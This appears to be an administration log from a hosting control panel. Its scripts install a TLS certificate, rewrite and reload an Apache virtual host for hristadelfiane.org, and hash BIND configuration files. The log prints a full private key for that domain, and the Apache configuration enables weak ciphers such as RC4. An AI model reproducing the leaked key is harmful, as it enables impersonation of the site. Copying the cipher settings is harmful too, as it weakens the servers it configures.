wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-05-05 09:16:56: 

chmod 755 /tmp/pkp867591; /tmp/pkp867591; rm /tmp/pkp867591

2026-05-05 09:16:56: 


dir=/etc/ssl/certs


2026-05-05 09:16:56: 

PUT: /tmp/pkp234674

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/hristadelfiane_www_org.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-05-05 09:16:56: 

chmod 755 /tmp/pkp234674; /tmp/pkp234674; rm /tmp/pkp234674

2026-05-05 09:16:56: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hristadelfiane_www_org.conf 46

<VirtualHost *:80>
    ServerName	hristadelfiane.org
    ServerAlias	www.hristadelfiane.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hristadelfiane_www
    <Directory /var/www/hristadelfiane_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hristadelfiane/www_access.log combined
    ErrorLog	/var/log/apache2/hristadelfiane/www_error.log
    SetEnv pkp_uid	58
    SetEnv pkp_owner	hrista
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	hristadelfiane.org
    ServerAlias	www.hristadelfiane.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/cb3ec3692863cad5b3b14321e7c0e518.crt
    DocumentRoot	/var/www/hristadelfiane_www
    <Directory /var/www/hristadelfiane_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hristadelfiane/www_secure_access.log combined
    ErrorLog	/var/log/apache2/hristadelfiane/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-05-05 09:16:56: 

PUT: /tmp/pkp515005

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hristadelfiane_www_org.conf
TARGET=/etc/apache2/sites-enabled/hristadelfiane_www_org.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	hristadelfiane.org
    ServerAlias	www.hristadelfiane.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hristadelfiane_www
    <Directory /var/www/hristadelfiane_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hristadelfiane/www_access.log combined
    ErrorLog	/var/log/apache2/hristadelfiane/www_error.log
    SetEnv pkp_uid	58
    SetEnv pkp_owner	hrista
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	hristadelfiane.org
    ServerAlias	www.hristadelfiane.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/cb3ec3692863cad5b3b14321e7c0e518.crt
    DocumentRoot	/var/www/hristadelfiane_www
    <Directory /var/www/hristadelfiane_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hristadelfiane/www_secure_access.log combined
    ErrorLog	/var/log/apache2/hristadelfiane/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/hristadelfiane_www_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/hristadelfiane_www_org.conf)= /etc/apache2//etc/apache2/sites-enabled/hristadelfiane_www_org.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/hristadelfiane_www_org.conf= 1'
fi


2026-05-05 09:16:56: 

chmod 755 /tmp/pkp515005; /tmp/pkp515005; rm /tmp/pkp515005

2026-05-05 09:16:56: 




2026-05-05 09:16:56: 

PUT: /tmp/pkp701097

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-05-05 09:16:56: 

chmod 755 /tmp/pkp701097; /tmp/pkp701097; rm /tmp/pkp701097

2026-05-05 09:16:57: 


.


2026-05-05 09:16:57: Establishing a connection
2026-05-05 09:16:57: 

PUT: /tmp/pkp757332

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-05-05 09:16:57: 

chmod 755 /tmp/pkp757332; /tmp/pkp757332; rm /tmp/pkp757332

2026-05-05 09:16:57: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server jupiter (/etc/apache2/sites-enabled/000-default.conf:3)
         port 80 namevhost jupiter (/etc/apache2/sites-enabled/000-default.conf:3)
         port 80 namevhost aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:2)
                 alias www.aletheiacollege.net
         port 80 namevhost christadelphia.net (/etc/apache2/sites-enabled/christadelphia_www_net.conf:2)
                 alias www.christadelphia.net
         port 80 namevhost gospelstudies.net (/etc/apache2/sites-enabled/gospelstudies_www_net.conf:2)
                 alias www.gospelstudies.net
         port 80 namevhost heaster.org (/etc/apache2/sites-enabled/heaster_www_org.conf:2)
                 alias www.heaster.org
         port 80 namevhost jupiter.hostz.org (/etc/apache2/sites-enabled/hostz_jupiter_org.conf:2)
         port 80 namevhost hristadelfiane.org (/etc/apache2/sites-enabled/hristadelfiane_www_org.conf:2)
                 alias www.hristadelfiane.org
         port 80 namevhost osnovybiblii.info (/etc/apache2/sites-enabled/osnovybiblii_www_info.conf:2)
                 alias www.osnovybiblii.info
         port 80 namevhost realdevil.info (/etc/apache2/sites-enabled/realdevil_www_info.conf:2)
                 alias www.realdevil.info
*:443                  is a NameVirtualHost
         default server aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:23)
         port 443 namevhost aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:23)
                 alias www.aletheiacollege.net
         port 443 namevhost christadelphia.net (/etc/apache2/sites-enabled/christadelphia_www_net.conf:23)
                 alias www.christadelphia.net
         port 443 namevhost gospelstudies.net (/etc/apache2/sites-enabled/gospelstudies_www_net.conf:23)
                 alias www.gospelstudies.net
         port 443 namevhost heaster.org (/etc/apache2/sites-enabled/heaster_www_org.conf:23)
                 alias www.heaster.org
         port 443 namevhost jupiter.hostz.org (/etc/apache2/sites-enabled/hostz_jupiter_org.conf:22)
         port 443 namevhost hristadelfiane.org (/etc/apache2/sites-enabled/hristadelfiane_www_org.conf:23)
                 alias www.hristadelfiane.org
         port 443 namevhost osnovybiblii.info (/etc/apache2/sites-enabled/osnovybiblii_www_info.conf:23)
                 alias www.osnovybiblii.info
         port 443 namevhost realdevil.info (/etc/apache2/sites-enabled/realdevil_www_info.conf:23)
                 alias www.realdevil.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.


2026-05-05 09:16:57: 

PUT: /tmp/pkp571093

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/hristadelfiane_www_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-05-05 09:16:57: 

chmod 755 /tmp/pkp571093; /tmp/pkp571093; rm /tmp/pkp571093

2026-05-05 09:16:58: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hristadelfiane_www_org.conf	1434

<VirtualHost *:80>
    ServerName	hristadelfiane.org
    ServerAlias	www.hristadelfiane.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hristadelfiane_www
    <Directory /var/www/hristadelfiane_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hristadelfiane/www_access.log combined
    ErrorLog	/var/log/apache2/hristadelfiane/www_error.log
    SetEnv pkp_uid	58
    SetEnv pkp_owner	hrista
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	hristadelfiane.org
    ServerAlias	www.hristadelfiane.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/cb3ec3692863cad5b3b14321e7c0e518.crt
    DocumentRoot	/var/www/hristadelfiane_www
    <Directory /var/www/hristadelfiane_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hristadelfiane/www_secure_access.log combined
    ErrorLog	/var/log/apache2/hristadelfiane/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-05-05 09:16:58: 

PUT: /tmp/pkp262038

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/cb3ec3692863cad5b3b14321e7c0e518.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-05-05 09:16:58: 

chmod 755 /tmp/pkp262038; /tmp/pkp262038; rm /tmp/pkp262038

2026-05-05 09:16:58: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/cb3ec3692863cad5b3b14321e7c0e518.crt	5389
96:a9:c6:78:f5:31:df:be:7f:4c:76:8c:ae:55:32:82

-----BEGIN CERTIFICATE-----
MIIFFjCCA/6gAwIBAgISBad8EtXEaICvealQh8Bw4478MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwNTA1MDgxODI0WhcNMjYwODAzMDgxODIzWjAdMRswGQYDVQQD
ExJocmlzdGFkZWxmaWFuZS5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQDLynwuMQa2WWhcwRnlq2OuPUAbNZ5Oh4nc701ih4kZEWFPDLd9MCeGcJVZ
6yTn2Qy1gDWrqjGwqeoi69rI67AXP7KweHCrQc2NCDUz38G+kS8jwegbqtuDtgm5
3NdcRsIMGV+v9vahBYVLAEcGddGtIkYSONsCt/1P/v9V+wfTbteGYk5ZMcRIgOC2
PxkvcuShGxpQldid1o+KZO17b4+mJIvgS2DVHJ+Lxg03O6QpIWw8tH85ZQHbDfj9
Wch+UGrMFlT+qHUVUQGnirKuu4SL842RToUHhklEQ9uNK1eIEnTaIlvz7QKfkXgK
1ZiFzK8CirN8+PJPJuH5pVYgl2tjAgMBAAGjggI4MIICNDAOBgNVHQ8BAf8EBAMC
BaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQU
yGCjzu4PpQcdEIYgI5/SfpcHge8wHwYDVR0jBBgwFoAU56ufDywzoFPTXk94yLKE
DjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8vcjEzLmku
bGVuY3Iub3JnLzA1BgNVHREELjAsghJocmlzdGFkZWxmaWFuZS5vcmeCFnd3dy5o
cmlzdGFkZWxmaWFuZS5vcmcwEwYDVR0gBAwwCjAIBgZngQwBAgEwLwYDVR0fBCgw
JjAkoCKgIIYeaHR0cDovL3IxMy5jLmxlbmNyLm9yZy8xMjUuY3JsMIIBCwYKKwYB
BAHWeQIEAgSB/ASB+QD3AHUAr2eIO1ewTt2Pptl+9i6o64EKx3Fg8CReVdYML+eF
hzoAAAGd920XlwAABAMARjBEAiApZgHXZRetQjRCcmzcT9n9g7dzQEihuBlcGzGv
fx9RHQIgHl2XR89Ap4c2D6SPXAPmsgm6qcDcJFMXBioZVG8UezIAfgBs/lAZQ6he
qRa8UtEz5NzJHvFBHH0lhCDRc4CeGBjrOgAAAZ33bRfuAAgAAAUAChgqsAQDAEcw
RQIhAI8r+50pGng7f/jy4QmGnp0nPZF2NI6ZUIIlCfUY2houAiBCIkopkQItj9xE
CNQlHwmqNNmJyKrwRrEqGJdXEK09+zANBgkqhkiG9w0BAQsFAAOCAQEACl9s+FTY
RnXKo7aotao15FjIJVY6Gh/wK6P8VJ410OSQYjuHZBScmXVf9vUdP8zGPibxvDf/
8zt0I83OXJVmqidoBwabzYqsXzPQNec/AdHTnz3zPA6li5UsjW2YtpbfrtIJZNKs
lOTh90nZ2qCefOC/m0p0Ms33aFQArjFjX0T4IQln9SCoFntZz+kQDsnkz5HN+mDo
eRQJoz3vG8wfOFcIS/shYWVmLtibhcPxU4WdMj7lK3qbA1aaqoU6qX1GFS2pGknZ
E93CQ0GsnYh1bmE2jhBVR9ItBTbaTN7kkUZqFd6xpgfcTOMB20pIHoDWaeJMlXjr
oJ49BLjjCa2ebA==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDLynwuMQa2WWhc
wRnlq2OuPUAbNZ5Oh4nc701ih4kZEWFPDLd9MCeGcJVZ6yTn2Qy1gDWrqjGwqeoi
69rI67AXP7KweHCrQc2NCDUz38G+kS8jwegbqtuDtgm53NdcRsIMGV+v9vahBYVL
AEcGddGtIkYSONsCt/1P/v9V+wfTbteGYk5ZMcRIgOC2PxkvcuShGxpQldid1o+K
ZO17b4+mJIvgS2DVHJ+Lxg03O6QpIWw8tH85ZQHbDfj9Wch+UGrMFlT+qHUVUQGn
irKuu4SL842RToUHhklEQ9uNK1eIEnTaIlvz7QKfkXgK1ZiFzK8CirN8+PJPJuH5
pVYgl2tjAgMBAAECggEAJwADL9vWCwOlQ0r5J8ja9LdoE0z5lNG/gnaReq+xfwii
dLxcSSr0BXh6PJERqQUSt5FntAiIJeT+l9xHLHheZLSd/8Os3Dllmv3dIKZLr6qd
ONydDN5v0A8AYX9v/4rTC/m3JDfBDyO9VJMjBIt7qwSKIGadEzIe2jZUqyG1Z7LR
OR62s3dX9hDccrOnW6o25gBG8Q4vRcRMPSAtHBR5D3QIouWZE9Ktg199BDyLspeS
TQ5iV0hBWX4/i+Y30dbhurHDeABa61S35mtc94IR/pX94cFQbOPfzxRFjRbZNaa3
m68EHs22YPK7Vw1ulEiOjowwEVWoYb2FUTHVkycNUQKBgQDrjpKYzoNsrKoFwwhx
EE0uOjX8oM7TBeJFLRuJ3/bsacHQQ8pVzAaWBIgzauaeXJ20/rzqz4BKkHFFkp6r
UN7XxqrVKEa+2SQW1UmWOPIdRr3DenaG57c2PxjjruW/2q5cmOltyVj/TCcJ4XYW
+RNX0prh8TByxIFQBOgALyTNZwKBgQDdeijzlrkMq4oOmZCBrjMCXmuwijz+Pxd6
ysPaUJxVl6So77I8MrCGPbMBHb3l2ioM9QslbFSjqSp/hzBxzVUWuWsMByCz/we+
TRr0UD/XMXO/ubPR6LEjC0ok3jkNxH+K9XFFFPILb6R5eVRJi+zXgv79+JTnaDwv
UD2qwLu4pQKBgDadYNnzD7+zrNwXIy7rw6lTL886DZoZxCOb2MW32s1nm9tIzHHm
EyTXOikJwRy4how/f9fFco5XPRwPaaB46KII2vT/GKAJQnfUzfH5lBE7pKXdD/wp
X25BZOjtVTGNZ13qyjx9MZhHtMlyr+mVqGl1WBnIzR3e98hwysW4KIVDAoGBALcC
XJh78UlA7gGGb1xZH5lTgFUOxbupUrOKnS/m8GfhuJRIDNWlZSxoC2ReuS4XiivO
yHkR/RaHkLB0e1luPGNcr9Huid1yXWmouR8suLQPDwBcaPSI/OZiS9APOMHhnyqq
CgD1f9RnWlduJHHph7nFawNdx104SpMmEO7p97RpAoGACs0SXL6bzskc84t2a/Ws
bRpLrR1HzAn04jtK0csXWa3b6iCv0jNaYRx8A/GV1toVHihT+lfkFvLEWy4ckLuy
i2Mx7jfxbOckYrGT81IteNFcW/Cpk2PrvhUhHwP65C5Pg/4HQE+3NIqV/nz2LbX8
/QvNBkWJDEgXKuj48E3xusY=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2026-05-05 09:17:35: Establishing a connection
2026-05-05 09:17:35: 

PUT: /tmp/pkp961429

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-05-05 09:17:35: 

runuser -l bind -s /bin/bash -c '/tmp/pkp961429; rm /tmp/pkp961429'

2026-05-05 09:17:35: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
